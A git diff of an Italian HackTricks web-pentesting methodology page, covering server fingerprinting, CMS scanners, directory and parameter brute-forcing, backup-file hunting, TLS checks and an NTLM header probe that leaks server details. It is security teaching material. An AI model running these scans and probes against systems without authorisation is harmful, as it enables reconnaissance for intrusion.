* [ ] Inizia con **identificare** le **tecnologie** utilizzate dal server web. Cerca **trucchi** da tenere a mente durante il resto del test se riesci a identificare con successo la tecnologia.
|
||||||
* [ ] Ci sono **vulnerabilità conosciute** della versione della tecnologia?
|
* [ ] Ci sono **vulnerabilità conosciute** della versione della tecnologia?
|
||||||
* [ ] Utilizzando una **tecnologia ben nota**? Qualche **trucco utile** per estrarre più informazioni?
|
* [ ] Utilizzando una **tecnologia ben nota**? Qualche **trucco utile** per estrarre più informazioni?
|
||||||
* [ ] Qualsiasi **scanner specializzato** da eseguire (come wpscan)?
|
* [ ] Qualsiasi **scanner specializzato** da eseguire (come wpscan)?
|
||||||
* [ ] Avvia **scanner a scopo generale**. Non si sa mai se troveranno qualcosa o se troveranno informazioni interessanti.
|
* [ ] Avvia **scanner a scopo generale**. Non si sa mai se troveranno qualcosa o informazioni interessanti.
|
||||||
* [ ] Inizia con i **controlli iniziali**: **robots**, **sitemap**, errore **404** e scansione **SSL/TLS** (se HTTPS).
|
* [ ] Inizia con i **controlli iniziali**: **robots**, **sitemap**, errore **404** e scansione **SSL/TLS** (se HTTPS).
|
||||||
* [ ] Inizia a **spiderizzare** la pagina web: È il momento di **trovare** tutti i possibili **file, cartelle** e **parametri in uso**. Controlla anche per **trovare speciali** scoperte.
|
* [ ] Inizia a **spiderizzare** la pagina web: È il momento di **trovare** tutti i possibili **file, cartelle** e **parametri utilizzati**. Controlla anche per **trovare speciali** scoperte.
|
||||||
* [ ] _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere spiderizzata._
|
* [ ] _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere spiderizzata._
|
||||||
* [ ] **Brute-Force delle directory**: Prova a forzare tutte le cartelle scoperte cercando nuovi **file** e **directory**.
|
* [ ] **Brute-Force delle directory**: Prova a forzare tutte le cartelle scoperte cercando nuovi **file** e **directory**.
|
||||||
* [ ] _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere forzata._
|
* [ ] _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere forzata._
|
||||||
* [ ] **Controllo dei backup**: Verifica se puoi trovare **backup** dei **file scoperti** aggiungendo estensioni di backup comuni.
|
* [ ] **Controllo dei backup**: Verifica se puoi trovare **backup** dei **file scoperti** aggiungendo estensioni di backup comuni.
|
||||||
* [ ] **Forza bruta dei parametri**: Prova a **trovare parametri nascosti**.
|
* [ ] **Forza bruta dei parametri**: Prova a **trovare parametri nascosti**.
|
||||||
* [ ] Una volta che hai **identificato** tutti i possibili **punti finali** che accettano **input utente**, controlla tutti i tipi di **vulnerabilità** ad esse correlate.
|
* [ ] Una volta che hai **identificato** tutti i possibili **punti di accesso** che accettano **input utente**, controlla tutti i tipi di **vulnerabilità** ad esse correlate.
|
||||||
* [ ] [Segui questa checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
* [ ] [Segui questa checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||||
|
|
||||||
## Versione del Server (Vulnerabile?)
|
## Versione del Server (Vulnerabile?)
|
||||||
|
@ -65,7 +65,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||||
### Identificare
|
### Identificare
|
||||||
|
|
||||||
Controlla se ci sono **vulnerabilità conosciute** per la versione del server in esecuzione.\
|
Controlla se ci sono **vulnerabilità conosciute** per la versione del server in esecuzione.\
|
||||||
Gli **intestazioni HTTP e i cookie della risposta** potrebbero essere molto utili per **identificare** le **tecnologie** e/o la **versione** in uso. La scansione **Nmap** può identificare la versione del server, ma potrebbero essere utili anche gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)o [**https://builtwith.com/**](https://builtwith.com)**:**
|
Gli **intestazioni HTTP e i cookie della risposta** potrebbero essere molto utili per **identificare** le **tecnologie** e/o la **versione** in uso. La scansione **Nmap** può identificare la versione del server, ma potrebbero essere utili anche gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) o [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||||
```bash
|
```bash
|
||||||
whatweb -a 1 <URL> #Stealthy
|
whatweb -a 1 <URL> #Stealthy
|
||||||
whatweb -a 3 <URL> #Aggresive
|
whatweb -a 3 <URL> #Aggresive
|
||||||
|
@ -89,7 +89,7 @@ Alcuni **trucchi** per **trovare vulnerabilità** in diverse **tecnologie** ben
|
||||||
* [**Artifactory**](artifactory-hacking-guide.md)
|
* [**Artifactory**](artifactory-hacking-guide.md)
|
||||||
* [**Buckets**](buckets/)
|
* [**Buckets**](buckets/)
|
||||||
* [**CGI**](cgi.md)
|
* [**CGI**](cgi.md)
|
||||||
* [**Drupal**](drupal.md)
|
* [**Drupal**](drupal/)
|
||||||
* [**Flask**](flask.md)
|
* [**Flask**](flask.md)
|
||||||
* [**Git**](git.md)
|
* [**Git**](git.md)
|
||||||
* [**Golang**](golang.md)
|
* [**Golang**](golang.md)
|
||||||
|
@ -123,7 +123,7 @@ Se l'applicazione web sta utilizzando una **tecnologia/piattaforma nota** o **qu
|
||||||
|
|
||||||
Se il **codice sorgente** dell'applicazione è disponibile su **github**, oltre a eseguire un **test White box** dell'applicazione, ci sono **alcune informazioni** che potrebbero essere **utili** per il **test Black-Box** attuale:
|
Se il **codice sorgente** dell'applicazione è disponibile su **github**, oltre a eseguire un **test White box** dell'applicazione, ci sono **alcune informazioni** che potrebbero essere **utili** per il **test Black-Box** attuale:
|
||||||
|
|
||||||
* C'è un file **Change-log o Readme o Version** o qualsiasi cosa con **informazioni sulla versione accessibili** via web?
|
* C'è un file **Change-log o Readme o Version** o qualcosa con **informazioni sulla versione accessibili** via web?
|
||||||
* Come e dove vengono salvate le **credenziali**? C'è un file (accessibile?) con credenziali (nomi utente o password)?
|
* Come e dove vengono salvate le **credenziali**? C'è un file (accessibile?) con credenziali (nomi utente o password)?
|
||||||
* Le **password** sono in **testo normale**, **criptate** o quale **algoritmo di hash** viene utilizzato?
|
* Le **password** sono in **testo normale**, **criptate** o quale **algoritmo di hash** viene utilizzato?
|
||||||
* Sta utilizzando una **chiave principale** per crittografare qualcosa? Quale **algoritmo** viene utilizzato?
|
* Sta utilizzando una **chiave principale** per crittografare qualcosa? Quale **algoritmo** viene utilizzato?
|
||||||
|
@ -150,13 +150,13 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||||
```
|
```
|
||||||
#### Scanner CMS
|
#### Scanner CMS
|
||||||
|
|
||||||
Se viene utilizzato un CMS non dimenticare di **eseguire uno scanner**, potrebbe essere trovato qualcosa di interessante:
|
Se viene utilizzato un CMS non dimenticare di **eseguire uno scanner**, forse si trova qualcosa di interessante:
|
||||||
|
|
||||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** siti web per problemi di sicurezza. (GUI)\
|
[**CMSScan**](https://github.com/ajinabraham/CMSScan): siti web [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** per problemi di sicurezza. (GUI)\
|
||||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
|
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
|
||||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **o** [**(M)oodle**](moodle.md)\
|
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **o** [**(M)oodle**](moodle.md)\
|
||||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||||
```bash
|
```bash
|
||||||
cmsmap [-f W] -F -d <URL>
|
cmsmap [-f W] -F -d <URL>
|
||||||
wpscan --force update -e --url <URL>
|
wpscan --force update -e --url <URL>
|
||||||
|
@ -194,14 +194,14 @@ I server web possono **comportarsi in modo imprevisto** quando vengono inviati l
|
||||||
Se scopri che **WebDav** è **abilitato** ma non hai abbastanza autorizzazioni per **caricare file** nella cartella principale, prova a:
|
Se scopri che **WebDav** è **abilitato** ma non hai abbastanza autorizzazioni per **caricare file** nella cartella principale, prova a:
|
||||||
|
|
||||||
* **Forzare** le credenziali
|
* **Forzare** le credenziali
|
||||||
* **Caricare file** tramite WebDav nel **resto delle cartelle** trovate all'interno della pagina web. Potresti avere autorizzazioni per caricare file in altre cartelle.
|
* **Caricare file** tramite WebDav al **resto delle cartelle** trovate all'interno della pagina web. Potresti avere autorizzazioni per caricare file in altre cartelle.
|
||||||
|
|
||||||
### **Vulnerabilità SSL/TLS**
|
### **Vulnerabilità SSL/TLS**
|
||||||
|
|
||||||
* Se l'applicazione **non forza l'uso di HTTPS** in nessuna parte, allora è **vulnerabile a MitM**
|
* Se l'applicazione **non forza l'uso di HTTPS** in nessuna parte, allora è **vulnerabile a MitM**
|
||||||
* Se l'applicazione **invia dati sensibili (password) tramite HTTP**. Allora è una vulnerabilità elevata.
|
* Se l'applicazione **invia dati sensibili (password) tramite HTTP**. Allora è una vulnerabilità elevata.
|
||||||
|
|
||||||
Utilizza [**testssl.sh**](https://github.com/drwetter/testssl.sh) per verificare le **vulnerabilità** (Nei programmi di Bug Bounty probabilmente queste tipologie di vulnerabilità non saranno accettate) e utilizza [**a2sv** ](https://github.com/hahwul/a2sv) per ricontrallare le vulnerabilità:
|
Utilizza [**testssl.sh**](https://github.com/drwetter/testssl.sh) per verificare le **vulnerabilità** (nei programmi Bug Bounty probabilmente queste vulnerabilità non saranno accettate) e utilizza [**a2sv**](https://github.com/hahwul/a2sv) per ricontrallare le vulnerabilità:
|
||||||
```bash
|
```bash
|
||||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||||
#Use the --htmlfile to save the output inside an htmlfile also
|
#Use the --htmlfile to save the output inside an htmlfile also
|
||||||
|
@ -229,7 +229,7 @@ Lancia una sorta di **spider** all'interno del web. L'obiettivo del ragno è **t
|
||||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Questo script troverà URL con parametri e li elencherà.
|
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Questo script troverà URL con parametri e li elencherà.
|
||||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): ragno HTML con capacità di rendering JS.
|
* [**galer**](https://github.com/dwisiswant0/galer) (go): ragno HTML con capacità di rendering JS.
|
||||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): ragno HTML, con capacità di bellezza JS in grado di cercare nuovi percorsi nei file JS. Potrebbe valere la pena dare un'occhiata anche a [JSScanner](https://github.com/dark-warlord14/JSScanner), che è un wrapper di LinkFinder.
|
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): ragno HTML, con capacità di bellezza JS in grado di cercare nuovi percorsi nei file JS. Potrebbe valere la pena dare un'occhiata anche a [JSScanner](https://github.com/dark-warlord14/JSScanner), che è un wrapper di LinkFinder.
|
||||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia dalla sorgente HTML che dai file javascript incorporati. Utile per cacciatori di bug, red teamers, ninja della sicurezza informatica.
|
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia nella sorgente HTML che nei file javascript incorporati. Utile per cacciatori di bug, red teamers, ninja della sicurezza informatica.
|
||||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Uno script python 2.7 che utilizza Tornado e JSBeautifier per analizzare URL relativi dai file JavaScript. Utile per scoprire facilmente le richieste AJAX. Sembra non essere mantenuto.
|
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Uno script python 2.7 che utilizza Tornado e JSBeautifier per analizzare URL relativi dai file JavaScript. Utile per scoprire facilmente le richieste AJAX. Sembra non essere mantenuto.
|
||||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dato un file (HTML) estrarrà gli URL da esso utilizzando una nifty espressione regolare per trovare ed estrarre gli URL relativi dai file brutti (minify).
|
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dato un file (HTML) estrarrà gli URL da esso utilizzando una nifty espressione regolare per trovare ed estrarre gli URL relativi dai file brutti (minify).
|
||||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, diversi strumenti): Raccogli informazioni interessanti dai file JS utilizzando diversi strumenti.
|
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, diversi strumenti): Raccogli informazioni interessanti dai file JS utilizzando diversi strumenti.
|
||||||
|
@ -248,7 +248,7 @@ Lancia una sorta di **spider** all'interno del web. L'obiettivo del ragno è **t
|
||||||
|
|
||||||
### Forza bruta su directory e file
|
### Forza bruta su directory e file
|
||||||
|
|
||||||
Inizia la **forza bruta** dalla cartella radice e assicurati di forzare la **tutte** le **directory trovate** utilizzando **questo metodo** e tutte le directory **scoperte** dal **Spidering** (puoi fare questa forza bruta **ricorsivamente** e aggiungendo all'inizio della wordlist utilizzata i nomi delle directory trovate).\
|
Inizia a **forzare la ricerca** dalla cartella radice e assicurati di forzare la ricerca su **tutte** le **directory trovate** utilizzando **questo metodo** e tutte le directory **scoperte** dal **Spidering** (puoi fare questa forza bruta in modo **ricorsivo** e aggiungendo all'inizio della wordlist utilizzata i nomi delle directory trovate).\
|
||||||
Strumenti:
|
Strumenti:
|
||||||
|
|
||||||
* **Dirb** / **Dirbuster** - Incluso in Kali, **vecchio** (e **lento**) ma funzionale. Consente certificati auto-firmati e ricerca ricorsiva. Troppo lento rispetto alle altre opzioni.
|
* **Dirb** / **Dirbuster** - Incluso in Kali, **vecchio** (e **lento**) ma funzionale. Consente certificati auto-firmati e ricerca ricorsiva. Troppo lento rispetto alle altre opzioni.
|
||||||
|
@ -265,7 +265,7 @@ Strumenti:
|
||||||
**Dizionari consigliati:**
|
**Dizionari consigliati:**
|
||||||
|
|
||||||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
||||||
* Dizionario incluso in **Dirsearch** (https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
* Dizionario incluso in **Dirsearch**
|
||||||
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||||
* [Wordlists di Assetnote](https://wordlists.assetnote.io)
|
* [Wordlists di Assetnote](https://wordlists.assetnote.io)
|
||||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||||
|
@ -281,21 +281,21 @@ Strumenti:
|
||||||
* _/usr/share/wordlists/dirb/big.txt_
|
* _/usr/share/wordlists/dirb/big.txt_
|
||||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||||
|
|
||||||
_Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere Brute-Forced._
|
_Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere sottoposta a Brute-Force._
|
||||||
|
|
||||||
### Cosa controllare su ciascun file trovato
|
### Cosa controllare su ogni file trovato
|
||||||
|
|
||||||
* [**Controllo dei link rotti**](https://github.com/stevenvachon/broken-link-checker): Trova i link rotti all'interno degli HTML che potrebbero essere vulnerabili agli attacchi di takeover
|
* [**Verifica dei link rotti**](https://github.com/stevenvachon/broken-link-checker): Trova i link rotti all'interno degli HTML che potrebbero essere vulnerabili agli attacchi di takeover
|
||||||
* **Backup dei file**: Una volta trovati tutti i file, cerca i backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Le variazioni comuni per nominare un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche utilizzare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
* **Backup dei file**: Una volta trovati tutti i file, cerca i backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Le variazioni comuni per nominare un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche utilizzare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||||
* **Scoprire nuovi parametri**: Puoi utilizzare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se possibile, potresti provare a cercare** parametri nascosti in ciascun file web eseguibile.
|
* **Scopri nuovi parametri**: Puoi utilizzare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se possibile, potresti provare a cercare** parametri nascosti in ogni file web eseguibile.
|
||||||
* _Tutti i wordlist predefiniti di Arjun:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
* _Tutti i wordlist predefiniti di Arjun:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||||
* _Param-miner "params" :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
* _Param-miner "params" :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||||
* _Assetnote "parameters\_top\_1m":_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
* _Assetnote "parameters\_top\_1m":_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||||
* _nullenc0de "params.txt":_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
* _nullenc0de "params.txt":_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||||
* **Commenti:** Controlla i commenti di tutti i file, puoi trovare **credenziali** o **funzionalità nascoste**.
|
* **Commenti:** Controlla i commenti di tutti i file, potresti trovare **credenziali** o **funzionalità nascoste**.
|
||||||
* Se stai giocando a **CTF**, un "trucco" comune è **nascondere informazioni** nei commenti a destra della pagina (usando **centinaia di spazi** in modo che non si vedano i dati se apri il codice sorgente con il browser). Un'altra possibilità è utilizzare **diverse nuove righe** e **nascondere informazioni** in un commento in fondo alla pagina web.
|
* Se stai giocando a **CTF**, un "trucco" comune è **nascondere informazioni** nei commenti alla **destra** della **pagina** (usando **centinaia** di **spazi** in modo che non si vedano i dati se apri il codice sorgente con il browser). Un'altra possibilità è utilizzare **diverse righe vuote** e **nascondere informazioni** in un commento in fondo alla pagina web.
|
||||||
* **Chiavi API**: Se **trovi una qualsiasi chiave API** c'è una guida che indica come utilizzare le chiavi API di piattaforme diverse: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
* **Chiavi API**: Se trovi **qualche chiave API** c'è una guida che indica come utilizzare le chiavi API di piattaforme diverse: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||||
* Chiavi API Google: Se trovi una chiave API che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per controllare a quali API la chiave può accedere.
|
* Chiavi API di Google: Se trovi una chiave API che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per verificare a quali API la chiave può accedere.
|
||||||
* **Bucket S3**: Durante lo spidering, controlla se qualche **sottodominio** o qualche **link** è collegato a un **bucket S3**. In tal caso, [**controlla** i **permessi** del bucket](buckets/).
|
* **Bucket S3**: Durante lo spidering, controlla se qualche **sottodominio** o qualche **link** è collegato a un **bucket S3**. In tal caso, [**controlla** i **permessi** del bucket](buckets/).
|
||||||
|
|
||||||
### Scoperte speciali
|
### Scoperte speciali
|
||||||
|
@ -330,13 +330,13 @@ Se una pagina **risponde** con quel **codice**, probabilmente è un **proxy mal
|
||||||
**Autenticazione NTLM - Divulgazione informazioni**
|
**Autenticazione NTLM - Divulgazione informazioni**
|
||||||
|
|
||||||
Se il server in esecuzione che richiede l'autenticazione è **Windows** o trovi un login che chiede le tue **credenziali** (e chiede il **nome del dominio**), puoi provocare una **divulgazione di informazioni**.\
|
Se il server in esecuzione che richiede l'autenticazione è **Windows** o trovi un login che chiede le tue **credenziali** (e chiede il **nome del dominio**), puoi provocare una **divulgazione di informazioni**.\
|
||||||
**Invia** l'intestazione: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e a causa di come funziona l'**autenticazione NTLM**, il server risponderà con informazioni interne (versione di IIS, versione di Windows...) all'interno dell'intestazione "WWW-Authenticate".\
|
**Invia** l'**intestazione**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e a causa del funzionamento dell'**autenticazione NTLM**, il server risponderà con informazioni interne (versione di IIS, versione di Windows...) all'interno dell'intestazione "WWW-Authenticate".\
|
||||||
Puoi **automatizzare** questo utilizzando il **plugin nmap** "_http-ntlm-info.nse_".
|
Puoi **automatizzare** questo utilizzando il **plugin nmap** "_http-ntlm-info.nse_".
|
||||||
|
|
||||||
**Reindirizzamento HTTP (CTF)**
|
**Reindirizzamento HTTP (CTF)**
|
||||||
|
|
||||||
È possibile **inserire contenuti** all'interno di un **reindirizzamento**. Questo contenuto **non verrà mostrato all'utente** (poiché il browser eseguirà il reindirizzamento), ma potrebbe essere **nascosto** al suo interno.
|
È possibile **inserire contenuti** all'interno di un **reindirizzamento**. Questo contenuto **non verrà mostrato all'utente** (poiché il browser eseguirà il reindirizzamento), ma potrebbe essere **nascosto** al suo interno.
|
||||||
### Verifica delle Vulnerabilità Web
|
### Controllo delle Vulnerabilità Web
|
||||||
|
|
||||||
Ora che è stata eseguita un'enumerazione completa dell'applicazione web, è il momento di verificare molte possibili vulnerabilità. Puoi trovare la checklist qui:
|
Ora che è stata eseguita un'enumerazione completa dell'applicazione web, è il momento di verificare molte possibili vulnerabilità. Puoi trovare la checklist qui:
|
||||||
|
|
||||||
|
@ -354,9 +354,9 @@ Trova ulteriori informazioni sulle vulnerabilità web in:
|
||||||
|
|
||||||
Puoi utilizzare strumenti come [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) per monitorare le pagine per le modifiche che potrebbero inserire vulnerabilità.
|
Puoi utilizzare strumenti come [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) per monitorare le pagine per le modifiche che potrebbero inserire vulnerabilità.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato a una **carriera nel campo dell'hacking** e a violare l'invulnerabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco scritto e parlato_).
|
Se sei interessato a una **carriera nel campo dell'hacking** e a violare l'invulnerabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -438,8 +438,8 @@ Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
134
network-services-pentesting/pentesting-web/drupal/README.md
Normal file
|
@ -0,0 +1,134 @@
|
||||||
|
# Drupal
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
